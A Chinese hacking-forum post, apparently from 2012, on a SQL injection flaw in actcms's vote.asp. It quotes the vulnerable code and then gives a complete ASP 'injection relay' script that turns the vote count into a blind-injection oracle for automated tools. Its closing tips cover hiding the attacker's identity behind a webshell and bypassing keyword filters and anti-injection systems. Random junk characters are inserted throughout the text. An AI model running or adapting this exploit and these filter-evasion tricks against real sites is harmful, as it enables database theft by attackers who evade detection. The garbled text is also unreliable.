找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2536|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

0 j$ A# N2 p* Z4 K看到ninty大牛的blog的一篇文章
, g( Y3 S3 _/ a  ^8 n, H! y: E+ k0 O链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
, G& R/ |+ z: \$ e. v# k关于actcms漏洞的利用  by 3x qq:381862589: \% G# h/ ^: I9 H. }
转载请注明以上+ g9 G8 m8 ?6 g4 ?$ h  R* v* W) A( b3 A
漏洞文件:' G$ C0 v! k) l8 C
/plus/vote/vote.asp
- ~; g8 y; O) D9 w代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    8 A1 a: a7 E: e, F( o0 q
* |/ K. o, F3 E% x6 {
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   . u$ r. }6 H1 C0 @

9 d" s7 w6 V! h: @$ |3    response.end    / e% K3 x$ S  U
/ t; z) V! B& _. F! m8 i% C
4    end if    / i; p' z' V+ E* T

4 d2 g5 _! ~2 c- z7 O5    for i=1 to request("voted").count    % c4 m. Q: K, E, L

2 q+ s+ z. h8 |% n2 g/ U! |6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    + v3 m% F5 F/ E& C( n# @# M4 }

* a5 P) g; p5 H3 R) H/ R7    next      A" f6 v  ~- Y! i% o' b
: t  ^9 ]% n/ Y9 K0 K% E
8....      L. u7 W2 u, d& {3 o3 ?9 {

1 @6 Z0 N" T6 T& E: ~: [9response.Redirect "index.asp?id="&id&""   3 p& g& d' v" `9 n
投票结束回跳转回index.asp这个投票结果页面
9 {; c: k  w$ M9 k" T6 R: i! ?2 C如果投票成功票数加1
! r$ q, ?" x! Y& j7 N8 |+ E            失败票数不变0 u% {6 f5 ]* E: u
如图:3 m$ L8 N: k/ w+ l
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)( f  [+ S0 i2 p! ]( }0 _

6 m, ?/ L6 o% B% d4 N: b$ o$ s2009-12-27 13:20
( ^+ Y. R4 o  j: W1 y7 D' Z- n& h  ?/ G, c6 |2 Y) R9 u( g3 K
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了& m9 M$ M# f- v+ j- {7 n: o
2 p& B$ n$ F' N' o* m
本帖隐藏的内容需要回复才可以浏览5 Q! Y# h" j* m" K& h; w
我们用注入中转来实现这个注入具体代码如下:- V( T) K; L: W4 [1 Z/ i
先用寂寞的刺猬大牛的注入中转生成jmget.asp
2 g. I5 S+ @( O8 b$ S( @注入地址:http://localhost/actcms/plus/vote/vote.asp
8 j! b1 z0 q/ S4 K) |6 [注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
8 v) s9 O- ^/ n  s3 m& O- ^4 K1 r) }0 _+ K0 m+ u; ~* o' I7 C
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
5 P" Q- w( o7 C/ t/ X$ `9 a3 E& M& P4 D! p5 n4 N& {
02JmdcwName=request("jmdcw")
+ }2 _' y, X9 b+ ?: K' k- m" g* d8 L( A% n
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 9 u  U/ @; f* ]9 f  t) ]. k+ v8 M6 S
' g8 H# J! D: N) S
04JmStr="id=1&voted=-1 or 1="&JmdcwName 0 H( l6 N- t/ q3 A, R

+ a# {) |) z- G8 L; a) {05JmStr=URLEncoding(JmStr) ' w& l8 d1 Z9 @5 }+ c

. w# \( g5 ?) [06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"+ W# J3 A' w2 }

4 e9 S2 Z9 g3 ^07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"9 D; [/ ]' c5 Q* F8 d' F

$ ]+ _  |  P! B/ U08testurl=testurl & "?" & JmStr
4 u+ \6 |/ u- p& p. j. [  H# z" p' b) x2 Q* U, v
09JMUrl=JMUrl & "?" & JmStr
% `7 N0 @6 z# e$ {8 V2 w" c7 x& G0 l, M
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"! o7 M; N5 F  a1 S3 i
5 U. E( \4 O/ i
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
7 x( ^5 w" i) h% z" ^
4 s' Y& c) O8 L9 p+ h1 r4 ^12JmCok=replace(JmCok,chr(32),"%20")  & q3 |( Q8 O! Z4 _

& a- n- v6 x1 y13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 2 H4 e  E. @  V9 ]: y

7 M) d+ H9 b- |, E$ |, H& L14  
1 x. O+ `& d  {* Y
" R# R" D- l# _+ `) v3 Z15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 * F; \+ n/ N5 N: {5 D( U

; {8 K' o2 T3 @16  , I, V1 W4 e1 j3 D1 a+ t3 C; ^; I

" b) C! W' z8 X* ^3 E/ V2 h17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
9 P( |( ^, V' [
& |3 k) B  u; b. U; h  U4 T  M+ S18response.write test1&""&test2&""& ?( r( N( a4 ]* A! K( M
; y3 R% W$ {& y1 W: o; V
19  * p2 |, Z' d4 J
6 M4 F3 U# s, J
20if test1=test2 then '如前后记录相等,表示失败
7 k/ G0 A! |  B8 ?6 R5 D- D  X$ ~/ b, V- k7 l( }2 u* W
21  response.write "failed"
( s9 H. z9 ~2 u( [, L
1 ^) a  _: i4 k. B: D22else : I- V# `8 k2 u/ ]; [) e( J

5 _6 K6 F) k0 }# \( `23  response.write "succeed"
0 A/ p* y' \7 E/ S5 r' m4 q
1 W$ i* ^; T% a24end if  4 d4 W4 ~+ o0 i4 C/ H' R& `

: U2 p9 ]8 E' d* w" S, I25  
! C/ {/ r& u% D4 p  l) ~- ^: K# v8 c
$ p. M+ s: P$ ?2 s" [$ q26response.write "by 3x"4 H0 b: x" J; m2 q& ]+ |
5 o) |7 v3 s+ A1 W& I  P
27  
$ p8 p/ W3 n) j# e. Z8 m0 [8 h. f) l. Z8 [9 s
28  5 W- v0 o3 R; d8 Q1 g& X( ^9 R
& |2 Z  j8 Z2 E- |& I: m2 I
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
) t& v! n" {& V5 b/ \3 c% R
; m, j& c0 c- J# w  p6 o3 |# P30Dim Http . h' W) V3 V1 ~; y) j, K
* t& Z0 m* p0 n) M6 K* Z
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
- R' A; q" w( u5 T, r5 t
0 F! Z. W! I% T0 I: e& \32With Http 5 a; |$ T) z  b! Q7 P
$ Y! _; E$ f8 h6 I: t7 }4 R% [
33  
) v4 _# e# P, [9 n3 ?/ j9 j% D) _: _( X' `( ~
34.Open "GET",PostUrl,False. U+ H3 H' n* R, W2 Y
4 t0 `" U; g* X( `
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"# o1 ~+ S$ p- T' ^$ d8 b' S" `
4 @- |0 e. E. G7 A! U( ~9 J. [
36.SetRequestHeader "Referer",PostRef
3 w2 t) I7 x/ a& Z3 H
0 \" P' q- z2 G+ x5 Z" Z  _* d37.SetRequestHeader "Cookie",PostCok 7 k4 h' G' d: q$ X
4 W. O; |( M7 \) \9 ~
38.Send ()
. R% ^! m) ]( Z; }: K
# C. h4 @' \$ z9 K39PostData = .ResponseBody + U/ L+ e, w7 f  i

5 W* c. D, c& U/ s. C8 V4 }40End With
  `) L5 t' v  @+ y( S5 L: k' m' W4 ?& Y; y* S
41Set Http = Nothing1 a+ H+ A# L% I' f

6 M3 [- D) I1 i+ z+ P42PostData =bytes2BSTR(PostData) $ ^2 I4 e4 ?4 f9 w( m

/ G& s! N! L1 j( a43End Function
& f" e5 ?/ _3 y& p) N
3 C5 C  A) |; a% d44  / z$ X1 j1 ?& A( J+ n- U; _

6 L8 u9 t3 |6 @. o45  
5 s0 Y7 P2 O( s" I+ n+ c1 v
+ a% D7 [& V1 K) A4 e46Function bytes2BSTR(vIn)
& r$ i0 [* \+ q0 {. Q0 w. r# w" L
47Dim strReturn 6 s' `* ~9 B. B6 A5 g" D* a/ Q0 H

" f/ A9 X% Z7 X* T48Dim I, ThisCharCode, NextCharCode
5 s1 |/ g2 q  _  u; S0 e
2 ~! K( r4 r( w2 k49strReturn = ""
8 z7 `/ H# i0 J' m2 s7 w9 ^9 i1 \( o3 `( D- N
50For I = 1 To LenB(vIn) 5 [" F) w, M" V0 y7 [9 o8 o2 C

0 M0 h$ @" L, I7 @* e* S51ThisCharCode = AscB(MidB(vIn, I, 1)) 6 r/ s& D9 z' Y  E) q. Q7 U
# q! U6 h: m; A
52If ThisCharCode < &H80 Then6 q3 Z) K9 b& d
& W/ z; Z) K' y3 u# ]0 U7 {- R% Q% T% m
53strReturn = strReturn & Chr(ThisCharCode) , ~9 s  ]3 q+ a( X4 q6 B- e3 m, b

0 d8 h. O9 v3 d. j8 l; U* ^54Else
6 t! l% X% v; ]. ^3 ^) q. r2 ?- m% N. p7 w; @
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 5 p" ~& B/ t2 [2 ]* ]

! r7 L1 [# D' b8 [; }$ s; h56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
/ b4 B) P# h# C; i( u3 P: r
' l, k0 @) m1 M# R$ V0 o0 Y' v57I = I + 1
- {: u1 e: p4 r$ N- j
/ b6 O& k2 z6 T3 W58End If+ A, s5 M5 L' B# R2 m7 `
5 z! x+ P! V* @/ z
59Next4 T* I  t" p& x. u9 W: V
' Q$ I% n8 X: p
60bytes2BSTR = strReturn
7 g' X/ V! `  R4 N6 _. A( d- ~0 z" {5 y7 o6 z1 w
61End Function( ]! n- E+ D6 q3 A9 z
, \! m0 @) f: L8 I; _& {; w
62  
8 A2 v2 }% e# G$ `! C
/ G* \2 I, r4 i- w, w63Function URLEncoding(vstrin)  
+ \$ ^" v6 D# A; D9 p  W4 O0 @8 D7 U8 u2 B% V& w
64strReturn=""
; A5 P# M3 Y7 a5 h& x; g- L% [6 P- S& H* J- N
65Dim i & x  m1 V) f5 T* F% c+ S& n0 ^
# j. f! W% I4 X; t, [
66For i=1 To Len(vstrin) 7 Z+ ^4 h+ |3 r8 |$ e
9 j& K* E: B! ?! A! h
67ThisChr=Mid(vstrin,i,1)
: @4 p; k, n6 K! y/ L* K# x7 q, g
68if Abs(Asc(ThisChr))< &HFF Then) A: [# D# H/ @* F, i$ z& D

' ]0 K0 f' [8 y69strReturn=strReturn & ThisChr
: F; m, T6 Q: S$ H0 D& a
$ v4 X% Z3 k' W1 Q: `1 u70Else' ^9 h, t, X4 _9 S7 X3 a
. _1 d9 X& G& F4 T
71InnerCode=Asc(ThisChr)
1 K" Z3 R/ p3 S3 m7 k4 O1 r3 B7 B1 O: e8 h+ b
72If InnerCode<0 Then
% U) ]2 |1 ^0 d8 B8 ?
8 f, t+ c) M$ ~0 P4 J73InnerCode=InnerCode + &H10000
6 V. z8 p) O1 W0 }: _- q9 P9 @9 |$ `9 M3 Z
74End If: w. Q* }9 M, \/ Q

( t* O- b4 j: x2 h75Hight1=(InnerCode And &HFF00) \&HFF & r$ d) m( i. Y

, x- h, J2 r  j$ y; E5 I' _76Low1=InnerCode And &HFF 5 W7 v$ h) F: b3 b% s9 o, W

; b0 d/ ?& R0 ?5 ~9 ?8 W- ~- U77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ' q$ }" K1 q) I, L. B
4 o- P& [; i+ |. n  [% x8 x( _
78End if
! d9 E  U' H0 P( [5 e2 a9 e
; q: z/ U6 @4 V* e! c79Next
. n8 r) N+ c6 R% E7 o: E0 j! i
+ P5 j3 V" ~, H9 H80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 3 a  H/ N. g; l/ |$ @* G

, ]* B4 d4 Y; o* Z. n$ ^- z81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
/ `, |0 p% m! y. t; g8 f9 P
* I- w5 v: Q  ~1 p1 Y# S# @82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ) B" f+ G, r$ v% T

% _+ E+ m" f/ e83URLEncoding=strReturn
/ [1 `/ a. d/ t( U; r6 V5 \: w+ `1 R# {3 \9 ^- Z+ _
84End Function
) [) q! }8 ]& ?  e: z' g4 @5 w1 N( N8 f4 z6 B1 a$ k
85  
5 Q7 g) `: B0 H' H/ E; e% S4 y6 i7 L- G
86function getSt(body) ' {+ r% r) D  O- c5 r0 E% V9 J6 v) T
. o0 X) U/ \# m4 `* g4 V, C! G
87  startpot=instr(body,"投票人数:")+len("投票人数:") 9 H- W( W0 L3 b( |  J
6 K" v. [) P+ x' K- r
88  endpot=instr(startpot,body," ")
+ H% j7 j" v( U
& o. S+ J  R/ o* a% c6 X$ P89  getSt=mid(body,startpot,endpot-startpot)
& q7 T. u0 M) M3 U# M( K
6 q# M8 W5 o4 `& N+ ?90end function
' ?* `) c2 i1 }6 y- ?3 b( K( ~9 H; k0 a" `/ i% J
91%>5 L/ g4 n* {2 R/ _4 ]& z3 J
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
6 r( W. }0 T4 b; K2 G测试下效果:
3 m' [, b' x& v" w投票成功:
0 \( s$ \) e( W& J& ^4 rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
4 q/ o' q9 o; {! {
0 I& \3 i3 E5 Z+ u3 O+ H7 ~- Y2009-12-27 13:29
  ~4 g* k. d9 i) S投票失败
7 |; s1 V. X# `+ h* D# i# Ihttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
  e$ h+ X( o& D; L* u: u" z3 J% ?+ {  l; c( U3 l* S1 s/ c
2009-12-27 13:29" B" |1 q& K7 `' y, v# {
-------------------------------------------------------------------------------" k: E4 G% n2 V1 G+ b; J
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
0 |9 `6 F) U$ J) _5 O2 y# I很抱歉。。。只能用单线程工具去注入。。。。。
% ]% Q( b) W  h# W7 f& A; C" q所以失败。。。不好意思。。。- ]8 G1 `& T4 O
-------------------------------------------------------------------------------
" F% ^8 N$ K8 m( i! R% d4 i1 o$ w) [$ ~
注入中转的一些其他应用
3 ^* ^! `7 ~# Z9 O/ k7 x其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了( X" b3 b' g- v$ B0 D. s" y5 X2 c
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
/ r7 J; o' j; q# W5 W/ i, a0 |. x2.post注入转成get型的注入,方便我们使用工具来跑
" g' a3 L6 i6 u' Q. U8 S3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
! v" R  @4 a, t5 J4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
5 b% I4 P) ]) N" o9 J/ A
* a/ }! T- a, }/ v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表